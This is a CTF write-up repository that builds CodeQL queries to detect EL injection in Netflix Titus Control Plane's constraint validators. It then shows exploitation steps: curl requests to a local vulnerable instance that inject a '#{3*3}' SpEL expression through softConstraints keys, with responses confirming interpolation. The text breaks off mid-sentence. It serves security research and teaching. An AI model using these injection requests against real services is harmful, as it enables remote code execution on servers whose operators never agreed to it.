├── README.md ├── query_1.4.ql ├── query_1.8.ql ├── query_2.ql ├── query_3.ql └── query_final.ql /README.md: -------------------------------------------------------------------------------- 1 | # GitHub Security Lab CTF 4: CodeQL and Chill - The Java Edition - Writeup 2 | 3 | ## Introduction 4 | 5 | This is my write-up for the [GitHub Security Lab CTF 4: CodeQL and Chill - The Java Edition](https://securitylab.github.com/ctf/codeql-and-chill). I will try to share my full thought process during the whole exercise, including mistakes and dead ends, so that it's easier to understand how I reached the solutions and why I took certain decisions. 6 | 7 | So, without further ado, let's start! 8 | 9 | ## Contents 10 | 11 | Here is a summary of what is covered by this writeup: 12 | 13 | - _Challenge problem_: This section offers a description of the main goal of the challenge. 14 | 15 | - _Solution steps_: Each step of the challenge has its own section with details about how it was solved, using code snippets when needed. 16 | - Steps 1.1 - 1.8 cover the development of a query to detect the first security issue of the challenge. 17 | - Step 2 covers the improvement of the query to detect the second security issue. 18 | - Step 3 adds another improvement to detect potential issues where the execution flow involves Exception handling. 19 | - Step 4.1 describes how, using the query's findings, a functional exploit was developed to attack the vulnerable version of the target application . 20 | - Step 4.2 covers potential mitigations and how the query can be improved to take them into account. 21 | 22 | - _Conclusions_: Lastly, this section reflects on the challenge and lessons learned. 23 | 24 | 25 | ## Challenge problem 26 | 27 | The problem definition is very clear: we need to use [CodeQL](https://securitylab.github.com/tools/codeql) to automatically detect the Java Expression Language (EL) Injection vulnerabilities found by GitHub Security Lab research team in Netflix's Titus Control Plane [(GHSL-2020-028)](https://securitylab.github.com/advisories/GHSL-2020-028-netflix-titus). These issues were caused by unsanitized user-controlled input reaching custom error building methods that interpolate EL expressions, which in turn allows for command injection in the affected system. 28 | 29 | The CTF description guides us through several steps that allow us to tackle the problem incrementally: each step builds upon the previous one to obtain new results or refine the existent ones. 30 | 31 | Let's see how I wrote my CodeQL query to solve each one of those steps. 32 | 33 | ## Step 1.1 34 | 35 | Since this is a problem involving a taint flow (user-controlled, thus tainted, data flowing through the code until reaching a dangerous method), the first logical step is to find the start of the flow: the sources. The challenge itself tells us these are the first parameter of `ConstraintValidator.isValid(...)` methods. 36 | 37 | To be able to identify such specific methods (and not all methods simply named `isValid`), we first need to find the appropriate type (`ConstraintValidator`), so we start our query by defining that type: 38 | 39 | ~~~ql 40 | class ConstraintValidator extends RefType { 41 | ConstraintValidator() { 42 | this.hasQualifiedName("javax.validation", "ConstraintValidator") 43 | } 44 | } 45 | ~~~ 46 | 47 | By using the qualified name, we make sure we don't get confused with other classes in other packages which could also be named `ConstraintValidator`. 48 | 49 | Since we are looking for method _declarations_ (to be able to refer to their parameters), we will need to use CodeQL's `Method` type (instead of `MethodAccess`). It should be as easy as finding `Method`s with `ConstraintValidator` as their declaring types, right? 50 | 51 | ~~~ql 52 | class ConstraintValidatorSource extends Method { 53 | ConstraintValidatorSource() { 54 | this.getName() = "isValid" and 55 | this.getDeclaringType() instanceof ConstraintValidator 56 | } 57 | } 58 | ~~~ 59 | 60 | Sadly that doesn't work as expected. It returns two results, but we can't navigate to them in the source code: clicking on them does nothing. 61 | 62 | After some time thinking about this, the answer to why this isn't working seems clear: `ConstraintValidator` is an interface of a standard library (package `javax.validation`), so if we try to find declarations of the `isValid` method in the Titus' source code, of course we won't find what we want. Actually, one of the step's hints says just that: 63 | 64 | - Pay attention to get only results that pertain to the project source code. 65 | 66 | We actually need to find classes implementing `ConstraintValidator` that override the `isValid` method. After looking at the documentation, and searching for existing similar queries, I found the `overrides` predicate of the `Method` class. According to its documentation, this does exactly what we need: 67 | 68 | ~~~ql 69 | /** Holds if this method (directly) overrides the specified callable. */ 70 | ~~~ 71 | 72 | So, on one hand we need to find what we already have, `Method`s named `isValid` the declaring type of which is `ConstraintValidator` and, on the other hand, `Methods` which override those. To achieve that, we can write a little predicate which should help make things clearer: 73 | 74 | ~~~ql 75 | predicate overridesAConstraintValidatorMethod(Method override) { 76 | exists(Method base | 77 | base.getSourceDeclaration().getDeclaringType() instanceof ConstraintValidator and 78 | override.overrides(base) 79 | ) 80 | } 81 | ~~~ 82 | 83 | This will tell us if the `Method` passed as argument is an override of `ConstraintValidator.isValid`. Exactly what we want! We can now rewrite our source-finding class as follows: 84 | 85 | ~~~ql 86 | class ConstraintValidatorSource extends Method { 87 | ConstraintValidatorSource() { 88 | this.getName() = "isValid" and 89 | overridesAConstraintValidatorMethod(this) 90 | } 91 | } 92 | ~~~ 93 | 94 | That returns the expected 6 results, all in the Titus' codebase! Great, but we are not looking for the method declarations, but rather their first arguments, so let's finish this step by writing our `isSource` predicate: 95 | 96 | ~~~ql 97 | override predicate isSource(DataFlow::Node source) { 98 | exists(ConstraintValidatorSource isValid | 99 | source.asParameter() = isValid.getParameter(0) 100 | ) 101 | } 102 | ~~~ 103 | 104 | Perfect! Step 1.1 completed. 105 | 106 | ## Step 1.2 107 | 108 | Now we need to find the other end of the flow: the sink. We are told that this time we are looking for `ConstraintValidatorContext.buildConstraintViolationWithTemplate(...)` _calls_, which means it's turn for the `MethodAccess` type to shine. 109 | 110 | Following the same logic as in step 1.1, we first define the `ConstraintValidatorContext` type: 111 | 112 | ~~~ql 113 | class ConstraintValidatorContext extends RefType { 114 | ConstraintValidatorContext() { 115 | this.hasQualifiedName("javax.validation", "ConstraintValidatorContext") 116 | } 117 | } 118 | ~~~ 119 | 120 | And then we can find the calls on methods `buildConstraintViolationWithTemplate` with the declaring type we just defined. This time, since no interface or class inheritances are involved, we can write our sink class more directly: 121 | 122 | ~~~ql 123 | class ConstraintValidatorContextSink extends MethodAccess { 124 | ConstraintValidatorContextSink() { 125 | this.getCallee().getName() = "buildConstraintViolationWithTemplate" and 126 | this.getCallee().getDeclaringType() instanceof ConstraintValidatorContext 127 | } 128 | } 129 | ~~~ 130 | 131 | Again, our sink is actually the parameter of such calls, since that's the element the tainted data will reach, so our sink predicate looks like this: 132 | 133 | ~~~ql 134 | override predicate isSink(DataFlow::Node sink) { 135 | exists(ConstraintValidatorContextSink buildWithTemplate | 136 | sink.asExpr() = buildWithTemplate.getArgument(0) 137 | ) 138 | } 139 | ~~~ 140 | 141 | With this we get our expected 5 results. We can keep going! 142 | 143 | ## Step 1.3 144 | 145 | Ok, we got our sources and we got our sinks. Time to connect them! For this, we will use the template of `TaintTracking::Configuration` provided by the step description. We only need to fill in the `isSource` and `isSink` predicates with the ones from steps 1.1 and 1.2. 146 | 147 | ~~~ql 148 | /** @kind path-problem */ 149 | import java 150 | import semmle.code.java.dataflow.TaintTracking 151 | import DataFlow::PathGraph 152 | 153 | class ELInjectionInCustomConstraintValidatorsConfig extends TaintTracking::Configuration { 154 | ELInjectionInCustomConstraintValidatorsConfig() { this = "ELInjectionInCustomConstraintValidatorsConfig" } 155 | 156 | override predicate isSource(DataFlow::Node source) { 157 | exists(ConstraintValidatorSource isValid | 158 | source.asParameter() = isValid.getParameter(0) 159 | ) 160 | } 161 | 162 | override predicate isSink(DataFlow::Node sink) { 163 | exists(ConstraintValidatorContextSink buildWithTemplate | 164 | sink.asExpr() = buildWithTemplate.getArgument(0) 165 | ) 166 | } 167 | } 168 | ~~~ 169 | 170 | But as the description tells us, this returns 0 results. Well, disappointing but expected. Let's see how we can improve it. 171 | 172 | 173 | ## Step 1.4 174 | 175 | Having worked with source code static analysis before, this step makes a lot of sense. If you have point A and point Z, and you expect them to be connected but they aren't, what do you do? Well, you try to find all connections for points A-B, A-B-C, A-B-C-D... until you see the flow stopping. That's how you know which element is stopping you from reaching Z as you expected. 176 | 177 | Luckily, CodeQL provides the `PartialPathGraph` utilities to easily do this. What we will try next is, as the description suggests, disregard our sink and see which connections are made from our source to any other element. Of course, this is computationally expensive, so we limit this search in two ways: 178 | 179 | 1. We select only one source for this analysis 180 | 2. We limit the obtained flows' length to 10 (this means, only flows connecting up to 10 nodes will be shown) 181 | 182 | For the first limitation, we will implement a new class which, using our original source class, selects a subset of sources. We arbitrarily select the only source of the `SchedulingConstraintSetValidator` class: 183 | 184 | ~~~ql 185 | class DebugConstraintValidatorSource extends ConstraintValidatorSource { 186 | DebugConstraintValidatorSource() { 187 | this.getDeclaringType().getName() = "SchedulingConstraintSetValidator" 188 | } 189 | } 190 | ~~~ 191 | 192 | And for the second one, we override a predicate in our `TaintTrackingConfig`: 193 | 194 | ~~~ql 195 | override int explorationLimit() { result = 10} // we can increase or decrease this number to obtain flows with different lengths if needed 196 | ~~~ 197 | 198 | Our `select` statement looks like this: 199 | 200 | ~~~ql 201 | //... 202 | import DataFlow::PartialPathGraph 203 | //... 204 | 205 | from MyTaintTrackingConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink 206 | where 207 | cfg.hasPartialFlow(source, sink, _) and 208 | exists(DebugConstraintValidatorSource specificSource | source.getNode().asParameter() = specificSource.getParameter(0)) 209 | select sink, source, sink, "Partial flow from unsanitized user data" 210 | ~~~ 211 | 212 | The full debugging query can be found in the `query_1.4.ql` file. 213 | 214 | A lot of path results appear when we execute the query! We are interested in the longest ones, since the others are just partial paths that still propagate taint to the next element. With that in mind, we see that the flow propagation is indeed stopped at ```container.getHardConstraints``` and ```container.getSoftConstraints``` calls as the description says. They reach the inner `return` argument in those functions' implementations, though: 215 | 216 | ~~~java 217 | public Map getHardConstraints() { 218 | return hardConstraints; // flow hends here 219 | } 220 | 221 | public Map getSoftConstraints() { 222 | return softConstraints; // flow ends here 223 | } 224 | ~~~ 225 | 226 | So it seems we somehow need to tell CodeQL that taint propagation continues through this calls even if it doesn't consider so out-of-the-box. 227 | 228 | ## Step 1.5 229 | 230 | This step asks us why we think this taint propagation is being stopped at those methods. Well, my assumption is that getters don't propagate taint because of it probably generating a lot of false positives. It's pretty naive to assume that assigning a tainted value to an object's attribute automatically taints all the other attributes too. For instance, given the following object: 231 | 232 | ~~~java 233 | public class SomeObject { 234 | private String tainted; 235 | private int somethingElse; 236 | 237 | public SomeObject(String tainted, int somethingElse) { 238 | this.tainted = tainted; 239 | this.somethingElse = somethingElse; 240 | } 241 | 242 | public String getTainted() { 243 | return tainted; 244 | } 245 | 246 | public String getSomethingElse() { 247 | return somethingElse; 248 | } 249 | } 250 | 251 | someObject = SomeObject("tainted", 123); 252 | int notTainted = someObject.getSomethingElse() 253 | dangerousSink(notTainted); 254 | ~~~ 255 | 256 | At first glance, if we consider the string `"tainted"` to be a dangerous user input, then the `someObject` instance would be tainted too. Because of this, the assumption that every getter on that instance returns a tainted value leads to a false positive in the `dangerousSink` call. That's probably why CodeQL keeps it safe and doesn't propagate taint by default to getters on tainted object instances. 257 | 258 | It'll be our job to determine specifically which getters are propagating taint. 259 | 260 | ## Step 1.6 261 | 262 | So let's do that! First, we need to write some CodeQL to select the calls which are stopping our taint. The following types should help with that: 263 | 264 | ~~~ql 265 | class GetConstraints extends Method { 266 | GetConstraints() { 267 | ( 268 | this.getName() = "getHardConstraints" or 269 | this.getName() = "getSoftConstraints" 270 | ) and 271 | this.getDeclaringType().hasQualifiedName("com.netflix.titus.api.jobmanager.model.job", "Container") 272 | } 273 | } 274 | 275 | class GetConstraintsCall extends MethodAccess { 276 | GetConstraintsCall() { 277 | this.getCallee() instanceof GetConstraints 278 | } 279 | } 280 | ~~~ 281 | 282 | Now we can use `GetConstraintsCall` to obtain all the calls to the problematic methods (even those which aren't influenced by our partial flows, but that isn't a problem since they won't be affecting us). Ok, but what do we connect them with? 283 | 284 | At first, I thought we should connect the last element we saw in the partial flows (the return statement of `getHardConstraints` and `getSoftConstraints` implementations) with the next element we would expect to see in the flow (`keySet()`), but not only that was brittle, it caused other problems down the line, because semantically it doesn't make sense to connect the return of one method (`get*Constraints`) with the call to an unrelated one (`keySet`), even if in this case they are concatenated. 285 | 286 | What we actually want to do (and what the description says) is connecting the _qualifier_ of the call (the object the method is called on) with its return value in _the call site_, which is actually the call itself. Actually, if we take a closer look at the partial flows, the call itself isn't there: the flow jumps from the qualifier to the method declaration. 287 | 288 | So, in short, we want to connect `container` with `getSoftConstraints()` and `getHardConstraints()` called on them. Since we have the appropriate types already defined, that should be easy: 289 | 290 | ~~~ql 291 | predicate getConstraintsStep(DataFlow::Node step1, DataFlow::Node step2) { 292 | exists(GetConstraintsCall call | 293 | step1.asExpr() = call.getQualifier() and 294 | step2.asExpr() = call 295 | ) 296 | } 297 | ~~~ 298 | 299 | Doing a "Quick Evaluation" on this predicate seems to return correct results. We can now add this step to our taint tracking configuration: 300 | 301 | We now need to use this steps in a special class to add a step to our taint tracking configuration: 302 | 303 | ~~~ql 304 | class MyAdittionalTaintSteps extends TaintTracking::AdditionalTaintStep { 305 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 306 | getConstraintsStep(step1, step2) 307 | } 308 | } 309 | ~~~ 310 | 311 | And indeed running the full debugging query again produces a new additional path, one step further but still not reaching the sink. This time, `keySet` is stopping us in the same way `get*Constraints` did. 312 | 313 | ## Step 1.7 314 | 315 | We'll need to repeat the strategy. This time, we want to tell CodeQL that the keys of these `Map`s are actually tainted (which isn't always the case for all `Map`s). To restrict it to specifically `softConstraints` and `hardConstraints` maps, we will be connecting `keySet` calls with `get*Constraints` calls on a `container` object, which produce `Map`s with tainted keys. 316 | 317 | ~~~ql 318 | predicate keySetStep(DataFlow::Node step1, DataFlow::Node step2) { 319 | exists(GetConstraintsCall call, MethodAccess keySetCall | 320 | keySetCall.getCallee().getName() = "keySet" and 321 | keySetCall.getReceiverType() = call.getType() and 322 | step1.asExpr() = keySetCall.getQualifier() and 323 | step2.asExpr() = keySetCall 324 | ) 325 | } 326 | ~~~ 327 | 328 | So basically we are connecting `keySet` calls to its qualifiers, with the restriction of the qualifier being a `GetConstraintsCall`. 329 | 330 | By adding this step to `MyAdittionalTaintSteps` and running again our debugging query, we see that our flow has now reached the constructor of a `HashSet`. But we are still far from our desired sink. 331 | 332 | ## Step 1.8 333 | 334 | To fix this taint step, the strategy is similar to the previous ones: our flow stopped at the parameter of the `HashSet` constructor, so we want to connect it with the actual `HashSet` returned by the `ConstructorCall`. Building from previous steps, it's easy to connect the call and its argument: 335 | 336 | ~~~ql 337 | predicate hashSetConstructorStep(DataFlow::Node step1, DataFlow::Node step2) { 338 | exists(ConstructorCall call | 339 | call.getConstructedType().getQualifiedName().matches("java.util.HashSet<%>") and 340 | step1.asExpr() = call.getArgument(0) and 341 | step2.asExpr() = call 342 | ) 343 | } 344 | ~~~ 345 | 346 | Note that in this case we needed to use a `matches` predicate to find the class' qualified name, since `HashSet` is a parameterized class. The `%` character tells CodeQL that any string could be between `<` and `>` in the class name. 347 | 348 | Now we add the additional steps to our taint tracking configuration: 349 | 350 | ~~~ql 351 | class MyAdittionalTaintSteps extends TaintTracking::AdditionalTaintStep { 352 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 353 | getConstraintsStep(step1, step2) or 354 | keySetStep(step1, step2) or 355 | hashSetConstructorStep(step1, step2) 356 | } 357 | } 358 | ~~~ 359 | 360 | We run our debugging query once more... And a lot more partial flows appear! The longest one, finally, reaches our sink. This means that the original query will report one result. Great, we are halfway there! 361 | 362 | The query up to this point can be seen in the `query_1.8.ql` file. 363 | 364 | ## Step 2. Second Issue 365 | 366 | We found the issue in `SchedulingConstraintSetValidator`, but there's another interesting source in `SchedulingConstraintValidator` which apparently reaches a sink, so let's see, following the same strategy, why our query isn't reporting it. We need to adjust our `DebugConstraintValidatorSource`: 367 | 368 | ~~~ql 369 | class DebugConstraintValidatorSource extends ConstraintValidatorSource { 370 | DebugConstraintValidatorSource() { 371 | this.getDeclaringType().getName() = "SchedulingConstraintValidator" 372 | } 373 | } 374 | ~~~ 375 | 376 | And now we can rerun our debugging query. We immediately see that `keySet` is stopping us again, because it's being called directly on the `Map` received as parameter in the `isValid` call, so no `Container` qualifier here. Additionally, we see that other calls will be causing further problems down the line: 377 | 378 | ~~~java 379 | Set namesInLowerCase = value.keySet().stream().map(String::toLowerCase).collect(Collectors.toSet()); 380 | ~~~ 381 | 382 | All of `keySet`, `stream`, `map` and `collect` seem problematic. 383 | 384 | ### Naive approach 385 | 386 | Initially I followed a naive approach and wrote all these predicates to fix this issue: 387 | 388 | ~~~ql 389 | predicate qualifierToCallStep(string callName, RefType qualifierType, DataFlow::Node step1, DataFlow::Node step2) { 390 | exists(MethodAccess call | 391 | call.getCallee().getName() = callName and 392 | call.getReceiverType() = qualifierType and 393 | step1.asExpr() = call.getQualifier() and 394 | step2.asExpr() = call 395 | ) 396 | } 397 | 398 | predicate keySetStep(DataFlow::Node step1, DataFlow::Node step2) { 399 | exists(RefType qualifierType, GetConstraintsCall call | 400 | ( 401 | qualifierType = call.getType() or 402 | // Added this 403 | qualifierType.getQualifiedName().matches("java.util.Map<%,%>") 404 | ) and 405 | qualifierToCallStep("keySet", qualifierType, step1, step2) 406 | ) 407 | } 408 | 409 | predicate streamStep(DataFlow::Node step1, DataFlow::Node step2) { 410 | exists(RefType qualifierType | 411 | qualifierType.getQualifiedName().matches("java.util.Set<%>") and 412 | qualifierToCallStep("stream", qualifierType, step1, step2) 413 | ) 414 | } 415 | 416 | predicate mapStep(DataFlow::Node step1, DataFlow::Node step2) { 417 | exists(RefType qualifierType | 418 | qualifierType.getQualifiedName().matches("java.util.stream.Stream<%>") and 419 | qualifierToCallStep("map", qualifierType, step1, step2) 420 | ) 421 | } 422 | 423 | predicate collectStep(DataFlow::Node step1, DataFlow::Node step2) { 424 | exists(RefType qualifierType | 425 | qualifierType.getQualifiedName().matches("java.util.stream.Stream<%>") and 426 | qualifierToCallStep("collect", qualifierType, step1, step2) 427 | ) 428 | } 429 | ~~~ 430 | 431 | And then added them to `MyAdittionalTaintSteps`: 432 | 433 | ~~~ql 434 | class MyAdittionalTaintSteps extends TaintTracking::AdditionalTaintStep { 435 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 436 | getConstraintsStep(step1, step2) or 437 | keySetStep(step1, step2) or 438 | hashSetConstructorStep(step1, step2) or 439 | streamStep(step1, step2) or 440 | mapStep(step1, step2) or 441 | collectStep(step1, step2) 442 | } 443 | } 444 | ~~~ 445 | 446 | But that was a lot of code and also very repetitive, even though I generalized some of it with `qualifierToCallStep`. So I looked at the default queries (written by professionals, not an amateur like me :-P) and doing so helped me remember [recursive predicates](https://help.semmle.com/QL/ql-handbook/recursion.html) from CodeQL detective tutorials. With that, we can write a little recursion which will connect our source with certain methods consecutively called on it. Worth a shot, since it will help us remove a lot of code! 447 | 448 | ### Optimization with recursive predicates 449 | 450 | We first want to identify all methods which propagate taint if called on a source: 451 | 452 | ~~~ql 453 | class ChainableMethod extends Method { 454 | ChainableMethod() { 455 | this instanceof GetConstraints or 456 | this.getName().regexpMatch("keySet|stream|map|collect") 457 | } 458 | } 459 | ~~~ 460 | 461 | And then we want to connect calls to those methods if their qualifier is a source, or the qualifier of its qualifier is, recursively. We don't want to connect any of these calls with the next if they don't share the source as qualifier, because that could pollute other queries. That's why we try to be as precise as possible without adding more connections than needed. 462 | 463 | The following predicate does exactly that: 464 | 465 | ~~~ql 466 | predicate chainedCallsOnSourceStep(DataFlow::Node step1, DataFlow::Node step2) { 467 | exists(ConstraintValidatorSource source, MethodAccess chainedCall | 468 | chainedCall.getQualifier*() = source.getParameter(0).getAnAccess() and 469 | chainedCall.getMethod() instanceof ChainableMethod and 470 | step1.asExpr() = chainedCall.getQualifier() and 471 | step2.asExpr() = chainedCall 472 | ) 473 | } 474 | ~~~ 475 | 476 | Note how we use `getAnAccess` on our `source` element, since originally `source.getParameter(0)` returns the declaration of that parameter, and we want references of it inside the method, which will be the potential qualifiers we are looking for. The `chainedCall.getQualifier*()` statement is what does the recursion magic and will find all the chained method calls at once. 477 | 478 | With this, our additional taint steps are much clearer and we use a lot less code: 479 | 480 | ~~~ql 481 | class ChainedCallsOnSourceTaintStep extends TaintTracking::AdditionalTaintStep { 482 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 483 | chainedCallsOnSourceStep(step1, step2) 484 | } 485 | } 486 | ~~~ 487 | 488 | Moreover, this also covers the additional taint steps we added for the first issue! (except the `HashSet` constructor, so we keep that additional taint step): 489 | 490 | ~~~ql 491 | class HashSetConstructorTaintStep extends TaintTracking::AdditionalTaintStep { 492 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 493 | hashSetConstructorStep(step1, step2) 494 | } 495 | } 496 | ~~~ 497 | 498 | Now we can __finally__ run the complete query (not the debug one) and obtain the 2 (only) real results! 499 | 500 | The query up to this point can be seen in the `query_2.ql` file. 501 | 502 | ## Step 3. Errors and exceptions 503 | 504 | Now, this step won't modify the actual results of our query (we'll still get 2 results), but it helps to generalize it so it's useful in other codebases. 505 | 506 | The basic idea is that some methods can throw exceptions the message of which contain the input they received in the first place. So, as the description says, we want to propagate flow in patterns like the following: 507 | 508 | ~~~java 509 | try { 510 | parse(tainted); // throws Exception 511 | } catch (Exception e) { 512 | sink(e.getMessage()) // 'tainted' was added to the message 513 | } 514 | ~~~ 515 | 516 | ### Methods accessing the Exception message 517 | 518 | First we need to know which methods are called on `Exception` objects inside a `catch` clause, since those are the end nodes of our new additional taint step. 519 | 520 | To find them, we can run a "Quick Evaluation" on the following instruction: 521 | 522 | ~~~ql 523 | exists(MethodAccess call, CatchClause catch | 524 | catch.getVariable().getAnAccess() = call.getQualifier()) 525 | ~~~ 526 | 527 | By reading documentation about the `CatchClause` we discover this `getVariable` predicate, which returns the caught Exception in the `catch` block, and by calling `getAnAccess` we get all references inside the block of that variable. With that we can obtain all method calls called on that object. By reviewing them, we see that the ones that give access to their message have names with the pattern "get%Message", so that will be our heuristic: 528 | 529 | ~~~ql 530 | class HeuristicGetMessageCall extends MethodAccess { 531 | HeuristicGetMessageCall() { 532 | this.getMethod().getName().matches("get%Message") 533 | } 534 | } 535 | ~~~ 536 | 537 | ### Methods throwing a caught Exception 538 | 539 | Now, we need to find the starting node of our additional taint step. That will be method calls inside a `try` block that has `catch` blocks associated which capture the Exception the original method is throwing. Luckily, the `CatchClause` has a `getTry` predicate which returns its associated `try` statement, so we can write the following predicate to establish the relation between the method call, the try block and the catch block (and the glue here is the Exception thrown/caught): 540 | 541 | ~~~ql 542 | class ThrowingCall extends MethodAccess { 543 | CatchClause catch; 544 | 545 | ThrowingCall() { 546 | exists(Exception exception | 547 | this.getEnclosingStmt().getEnclosingStmt*() = catch.getTry().getBlock() and 548 | this.getMethod().getSourceDeclaration().getAnException() = exception and 549 | exception.getType().getAnAncestor() = catch.getACaughtType() 550 | ) 551 | } 552 | 553 | CatchClause getCatch() { 554 | result = catch 555 | } 556 | } 557 | ~~~ 558 | 559 | As can be seen, we define `ThrowingCall` as a method call for which the following is true: 560 | 561 | - It's inside a `try` block 562 | - Throws an exception of certain type 563 | - The `try` block has a `catch` block associated which catches that exception (or a supertype of it) 564 | 565 | Running a "Quick Evaluation" on this class allows us to inspect said methods, and we can see that their relevant method (the one which could be reflected in the Exception message) is almost always the first one. We will use that knowledge next. 566 | 567 | ### Additional taint step 568 | 569 | Great! We have methods that throw caught exceptions and methods inside `catch` clauses which return the exception message. Time to connect those two: 570 | 571 | ~~~ql 572 | predicate throwingCallToGetMessageStep(DataFlow::Node step1, DataFlow::Node step2) { 573 | exists(ThrowingCall throwingCall, HeuristicGetMessageCall getMessageCall | 574 | throwingCall.getCatch().getVariable().getAnAccess() = getMessageCall.getQualifier() and 575 | step1.asExpr() = throwingCall.getArgument(0) and 576 | step2.asExpr() = getMessageCall 577 | ) 578 | } 579 | ~~~ 580 | 581 | The connection here is established by telling CodeQL that the Exception thrown by the `ThrowingCall` is the same as the qualifier of the `HeuristicGetMessageCall`. In that sense, if the tainted parameter of a `ThrowingCall` is reflected in the Exception message, this predicate will connect those two elements. Time to add the last additional taint step: 582 | 583 | ~~~ql 584 | class ThrowingCallTaintStep extends TaintTracking::AdditionalTaintStep { 585 | 586 | override predicate step(DataFlow::Node step1, DataFlow::Node step2) { 587 | throwingCallToGetMessageStep(step1, step2) 588 | } 589 | } 590 | ~~~ 591 | 592 | And with that, our query is pretty much finished. It doesn't return false positives and doesn't have false negatives, so we did a good job adapting it to the analyzed codebase! 593 | 594 | The query up to this point can be seen in the `query_3.ql` file. 595 | 596 | ## Step 4.1. PoC 597 | 598 | Time for exploitation! Let's see if, with the knowledge we gathered, we can finally reproduce the RCE in Titus Control Plane. 599 | 600 | ### Reaching the sinks 601 | 602 | We need to know how to reach our sinks with data we control. Since the vulnerabilities reside in `SchedulingConstraintValidator` and `SchedulingConstraintSetValidator`, let's look for beans annotated with the constraints they define: `SchedulingConstraint` and `SchedulingConstraintSet`. One of the first results this search returns is the class `Container`, which has the following attributes (among others): 603 | 604 | ~~~java 605 | 606 | @SchedulingConstraintSetValidator.SchedulingConstraintSet 607 | class Containter { 608 | 609 | // ... 610 | 611 | @SchedulingConstraintValidator.SchedulingConstraint 612 | private final Map softConstraints; 613 | 614 | @SchedulingConstraintValidator.SchedulingConstraint 615 | private final Map hardConstraints; 616 | 617 | // ... 618 | 619 | } 620 | ~~~ 621 | 622 | Great, this makes sense. While writing our query we saw validations on `Container` and `Map` instances, and calls to `getSoftConstraints` and `getHardConstraints`, so we are on track. These two attributes will be validated with the vulnerable validators and, in case of error, we will reach the sinks. As we saw in the vulnerable code, the data that reaches the sinks are the keys of these `Map`s: 623 | 624 | ~~~java 625 | @Override 626 | public boolean isValid(Map value, ConstraintValidatorContext context) { 627 | Set namesInLowerCase = value.keySet().stream().map(String::toLowerCase). collect(Collectors.toSet()); // value.keySet() are the map's keys 628 | HashSet unknown = new HashSet<>(namesInLowerCase); 629 | unknown.removeAll(JobConstraints.CONSTRAINT_NAMES); 630 | if (unknown.isEmpty()) { // unknown needs to be non-empty, so we need to provide a key which isn't in JobConstraints.CONSTRAINT_NAMES 631 | return true; 632 | } 633 | context.buildConstraintViolationWithTemplate("Unrecognized constraints " + unknown) 634 | .addConstraintViolation().disableDefaultConstraintViolation(); // therefore, the injection must be in the map's keys which aren't in JobConstraints.CONSTRAINT_NAMES 635 | return false; 636 | } 637 | ~~~ 638 | 639 | Now we just need to know where we can provide a `Container` object which contains our malicious `softConstraints` and/or `hardConstraints`. 640 | 641 | ### Building the request 642 | 643 | By reading the `README.md` of our target (Netflix's [Titus Control Plane](https://github.com/Netflix/titus-control-plane/)), we quickly identify a call to the "jobs" API which receives a container as part of the request: 644 | 645 | ~~~bash 646 | curl localhost:7001/api/v3/jobs \ 647 | -X POST -H "Content-type: application/json" -d \ 648 | '{ 649 | "applicationName": "localtest", 650 | "owner": {"teamEmail": "me@me.com"}, 651 | "container": { 652 | "image": {"name": "alpine", "tag": "latest"}, 653 | "entryPoint": ["/bin/sleep", "1h"], 654 | "securityProfile": {"iamRole": "test-role", "securityGroups": ["sg-test"]} 655 | }, 656 | "batch": { 657 | "size": 1, 658 | "runtimeLimitSec": "3600", 659 | "retryPolicy":{"delayed": {"delayMs": "1000", "retries": 3}} 660 | } 661 | }' 662 | ~~~ 663 | 664 | So let's try it! After cloning the [vulnerable version]((https://github.com/Netflix/titus-control-plane/commit/8a8bd4c1b4b63e17520804c6f7f6278252bf5a5b)) of Titus Control Plane and deploying it with `docker-compose` (luckily, it just works out-of-the-box), we can make the request, just adding a `softConstraints` element to it. 665 | 666 | To get the proper structure of `softConstraints`, some googling was necessary, but in the end documentation about it could be found thanks to [Google's cache](https://webcache.googleusercontent.com/search?q=cache:StpzhXdi9yQJ:https://github.com/Netflix/titus-api-definitions/blob/master/doc/titus-v3-spec.md+&cd=4&hl=en&ct=clnk&gl=es) (for some reason, the documentation about the `Constraints` object has been removed from the [current version](https://github.com/Netflix/titus-api-definitions/blob/master/doc/titus-v3-spec.md) of the page): 667 | 668 | | Field | Type | Label | Description | 669 | | ----- | ---- | ----- | ----------- | 670 | | constraints | Constraints.ConstraintsEntry | repeated | (Optional) A map of constraint name/values. If multiple constraints are given, all must be met (logical 'and'). | 671 | 672 | And regarding `Constraints.ConstraintsEntry`: 673 | 674 | | Field | Type | Label | Description | 675 | | ----- | ---- | ----- | ----------- | 676 | | key | string | optional | | 677 | | value | string | optional | | 678 | 679 | Ok, now we know what the expected format is: 680 | 681 | ~~~json 682 | "softConstraints":{"constraints": {"injection here": "value"}} 683 | ~~~ 684 | 685 | ### Reproducing the EL Injection 686 | 687 | Let's try a simple EL Injection (as they appear [here](https://docs.jboss.org/hibernate/validator/5.1/reference/en-US/html/chapter-message-interpolation.html#section-interpolation-with-message-expressions)) to confirm our assumptions: 688 | 689 | ~~~json 690 | "softConstraints":{"constraints": {"${3*3}": "value"}} 691 | ~~~ 692 | 693 | ~~~json 694 | {"statusCode":400,"message":"Invalid Argument: {Validation failed: 'field: 'container.softConstraints', description: 'Unrecognized constraints [${3*3}]', type: 'HARD''}"} 695 | ~~~ 696 | 697 | Right, we see the message we expected (`Unrecognized constraints`) but our injection appears literally, it wasn't interpolated. So something's wrong. Let's try to dig and see how interpolation is done. 698 | 699 | If we look for the string "interpolator" in the codebase, we find an interesting class `SpELMessageInterpolator`. There, a `TemplateParserContext` is used, and if we inspect its constructor, we find the following: 700 | 701 | ~~~java 702 | public TemplateParserContext() { 703 | this("#{", "}"); 704 | } 705 | ~~~ 706 | 707 | Aha, so our injections must start with `#{`. Let's try: 708 | 709 | ~~~bash 710 | curl localhost:7001/api/v3/jobs \ 711 | -X POST -H "Content-type: application/json" -d \ 712 | '{ 713 | ... 714 | "container": { 715 | ... 716 | "softConstraints":{"constraints": {"#{3*3}": "a"}} 717 | }, 718 | ... 719 | }' 720 | ~~~ 721 | 722 | Response: 723 | 724 | ~~~json 725 | {"statusCode":400,"message":"Invalid Argument: {Validation failed: 'field: 'container.softConstraints', description: 'Unrecognized constraints [9]', type: 'HARD''}"} 726 | ~~~ 727 | 728 | There we go! Now `#{3*3}` was interpolated and the result (`9`) is shown in 